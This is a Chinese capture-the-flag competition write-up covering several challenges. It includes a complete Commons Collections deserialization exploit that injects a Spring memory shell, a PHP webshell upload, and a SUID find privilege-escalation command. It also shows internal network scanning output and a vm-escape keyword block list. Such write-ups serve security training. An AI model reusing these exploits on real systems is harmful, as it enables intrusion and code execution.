前言
第三届长城杯信息安全铁人三项赛(防护赛)全国总决赛
NISA-325Spark 位 58
力尽至此,已经不用再战斗了
JavaUnbound
一个 java 8 的反序列化,有 cc3.2.1 依赖
过滤:
public class SafeObjectInputStream extends ObjectInputStream {
private static final String[] blacklist = new String[]{"java.lang.Runtime", "java.lang.ProcessBuilder", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.security.SignedObject", "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet", "javax.management.remote.rmi.RMIConnector"};
public SafeObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
for(String forbiddenPackage : blacklist) {
if (className.startsWith(forbiddenPackage)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
}
能用的二次反序列化类都 ban 了,但是可以直接用 js 引擎调用 eval 来实现任意代码执行
测试发现不出网,还要打 springboot 2.6.0+ 的内存马
exp:
package com.ezjava;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.script.ScriptEngineManager;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class exp {
public static void main(String[] args) throws Exception {
byte[] bytesa = GenerateMemShell();
String a = Base64.getEncoder().encodeToString(bytesa);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(ScriptEngineManager.class),
// 调用 Class<T> 的 newInstance(),参数为空
new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}),
// 调用 ScriptEngineManager 的 getEngineByName,参数为 "js" new InvokerTransformer("getEngineByName",
new Class[]{String.class},
new Object[]{"js"}),
// 调用 ScriptEngine (接口) 的 eval(),参数为执行命令的 JS 代码
new InvokerTransformer("eval",
new Class[]{String.class},
new Object[]{"org.springframework.cglib.core.ReflectUtils.defineClass(\"com.ezjava.controller.InjectToController\",org.springframework.util.Base64Utils.decodeFromString(\""+a+"\"),java.lang.Thread.currentThread().getContextClassLoader()).newInstance()"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry t = new TiedMapEntry(lazymap, "key");
HashMap<Object, Object> finalmap = new HashMap<>();
finalmap.put(t, "value");
lazymap.remove("key");
Class c = LazyMap.class;
Field f = c.getDeclaredField("factory");
f.setAccessible(true);
f.set(lazymap,chainedTransformer);
byte[] bytes = serialize(finalmap);
String evilCode = Base64.getEncoder().encodeToString(bytes);
System.out.println(evilCode);
}
private static byte[] GenerateMemShell() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.getCtClass("com.ezjava.controller.InjectToController");
return ctClass.toBytecode();
}
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(out);
objectOutputStream.writeObject(obj);
return out.toByteArray();
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
Object o = in.readObject();
return o;
}
}
QLwist(Unsolved)
最终利用点是 vm 逃逸
app.post('/admin/super/evaluate', requireRole('super_admin'), (req, res) => {
const { expression } = req.body;
if (typeof expression !== 'string' || expression.length > 4096) {
return res.status(400).json({ error: 'Invalid expression' });
}
if (!validateExpression(expression)) {
return res.status(400).json({ error: 'Expression contains disallowed identifiers' });
}
const ctx = { result: undefined, Math, JSON };
const _p = globalThis.process;
const _b = globalThis.Buffer;
delete globalThis.process;
delete globalThis.Buffer;
let value;
try {
vm.runInNewContext(
`result = (() => { ${expression} })()`,
ctx,
{ timeout: 2000 },
);
value = String(ctx.result ?? '');
} catch (e) {
value = `Error: ${e.message}`;
} finally {
globalThis.process = _p;
globalThis.Buffer = _b;
}
return res.json({ value });
});
限制:
删除 globalThis.process、globalThis.Buffer
关键字过滤 require, exec, spawn, child, process, module, binding, dlopen, global, import
表达式长度 4096
ssrf 部分:/api/link-check 打 /graphql
验证部分:
function authMiddleware(req, _res, next) {
const header = req.headers['authorization'] || '';
const token = header.replace(/^Bearer\s+/i, '').trim()
|| req.cookies?.token;
req.user = token ? verifyToken(token) : null;
next();
}
graphql ban 了 schema 之后不知道怎么打才能泄露信息
ISW
外网 - 192.168.7.8

admin 以万能密码登录即可
后台可以上传文件,直接传 php 马 getshell
(cmsapp:/opt/cms/uploads) $ find / -perm -u=s -type f 2>/dev/null
/usr/libexec/polkit-agent-helper-1
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/chsh
/usr/bin/mount
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/find
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/snap/core20/2717/usr/bin/chfn
/snap/core20/2717/usr/bin/chsh
/snap/core20/2717/usr/bin/gpasswd
/snap/core20/2717/usr/bin/mount
/snap/core20/2717/usr/bin/newgrp
/snap/core20/2717/usr/bin/passwd
/snap/core20/2717/usr/bin/su
/snap/core20/2717/usr/bin/sudo
/snap/core20/2717/usr/bin/umount
/snap/core20/2717/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2717/usr/lib/openssh/ssh-keysign
提权
/usr/bin/find . -exec /bin/sh -pc "cat /f1ag" \; -quit
内网信息收集
(cmsapp:/opt/cms/uploads) $ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether fa:24:aa:4a:28:00 brd ff:ff:ff:ff:ff:ff
altname enp0s3
altname ens3
inet 10.11.131.243/28 metric 100 brd 10.11.131.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::f824:aaff:fe4a:2800/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether fa:57:f6:0a:9c:01 brd ff:ff:ff:ff:ff:ff
altname enp0s4
altname ens4
inet 192.168.7.8/24 brd 192.168.7.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::f857:f6ff:fe0a:9c01/64 scope link
valid_lft forever preferred_lft forever
[*] start_Live_scan
{icmp} 192.168.7.2 up
{icmp} 192.168.7.8 up
{icmp} 192.168.7.13 up
{icmp} 192.168.7.51 up
{icmp} 192.168.7.83 up
{icmp} 192.168.7.128 up
[*] live Hosts num: 6
192.168.7.2: [53]
192.168.7.8: [22 80]
192.168.7.13: [22 25 110 11434]
192.168.7.51: [22 80 50051]
192.168.7.83: [21 22 8092]
192.168.7.128: [22]
[*] WebTitle http://192.168.7.8 code:200 len:8402 title:首页 | 华讯内容管理系统
[*] WebTitle http://192.168.7.51 code:200 len:595 title:Directory listing for /
[+] InfoScan http://192.168.7.51 [目录遍历]
[*] WebTitle http://192.168.7.13:11434 code:200 len:17 title:None
[*] WebTitle http://192.168.7.83:8092 code:404 len:282 title:None
ollama(mailserver)- 192.168.7.13(Unsolved)
0.18.2 太新
ollama 存在 ssrf


接下来应该是打 ssrf 到邮件系统,不知道怎么打
spring gateway - 192.168.7.83(Unsolved)
Target: http://192.168.7.83:8092/
[10:41:56] Starting:
[10:42:01] 200 - 163B - /actuator
[10:42:01] 200 - 2B - /actuator/gateway/routes
{"_links":{"self":{"href":"http://192.168.7.83:8092/actuator","templated":false},"gateway":{"href":"http://192.168.7.83:8092/actuator/gateway","templated":false}}}
尝试 CVE-2022-22947 不通
注意到有 21 端口,尝试 ftp 匿名登录
Connected to 192.168.7.83.
220 (vsFTPd 3.0.5)
Name (192.168.7.83:root): anonymous
230 Login successful.
ftp> ls
500 Illegal PORT command.
500 Unknown command.
425 Use PORT or PASV first.
ftp> pwd
257 "/" is the current directory
ftp> quote PASV
227 Entering Passive Mode (192,168,7,83,82,11).
ftp> ls -la
500 Illegal PORT command.
500 Unknown command.
ftp> passive
Passive mode on.
ftp> ls
227 Entering Passive Mode (192,168,7,83,82,18).
150 Here comes the directory listing.
drwxr-xr-x 1 ftp ftp 4096 Mar 20 13:11 pub
ftp> cd pub
250 Directory successfully changed.
ftp> ls
227 Entering Passive Mode (192,168,7,83,82,17).
150 Here comes the directory listing.
-r--r--r-- 1 ftp ftp 38846258 Mar 10 16:14 app.jar
拿到源码
@RestController
@RequestMapping({"/analyze"})
public class AnalyzerController {
private final TokenBean tokenBean;
@Autowired
public AnalyzerController(TokenBean tokenBean) {
this.tokenBean = tokenBean;
}
@PostMapping
public Mono<String> analyze(@RequestHeader("X-Token") String token, @RequestParam MultiValueMap<String, String> params) {
String expectedToken = this.tokenBean.generateToken();
if (!expectedToken.equals(token)) {
return Mono.just("forbidden");
} else {
String serialVersionUID = (String)params.getFirst("uid");
if (serialVersionUID == null) {
return Mono.just("missing id");
} else {
String data = (String)params.getFirst("data");
AnalyzerBean tool = new AnalyzerBean(this.tokenBean, serialVersionUID, data);
return Mono.just(tool.readObject());
}
}
}
}
总之需要预测随机数,这个也不会
KMS Protobuf - 192.168.7.51(Unsolved)
kms.proto
syntax = "proto3";
enum ActionType {
CREATE = 0;
READ = 1;
UPDATE = 2;
DELETE = 3;
}
message Credential {
uint32 id = 1;
string service_name = 2;
uint32 key_size = 3;
bytes secret_key = 4;
}
message KmsRequest {
ActionType action = 1;
Credential cred = 2;
}
message KmsResponse {
bool success = 1;
string message = 2;
Credential cred = 3;
}
protokms 反编译的分析结果:
初始化阶段 (sub_2C80)
- 打开配置文件
/etc/passwd.keys。 - 使用
fscanf("%31[^:]:%255s", ...)读取格式化的密钥数据。 - 将解析出的字符串指针存入
qword_82C0,长度存入dword_8280。
主循环与协议解析 (sub_2D50)
- 读取长度: 从 stdin 读取 2 字节作为后续数据包长度。
- 分配内存:
malloc申请对应大小的缓冲区。 - 读取载荷: 调用封装的
read()(sub_2BF0) 确保完整读取。 - 解包协议: 调用
sub_3360(protobuf_c_message_unpack) 将二进制数据解析为KmsRequest。 - 动作分发: 检查
request->action(偏移24),根据值跳转到对应处理函数。 - 清理: 调用
sub_33B0(protobuf_c_message_free_unpacked) 释放请求结构体,继续下一轮循环。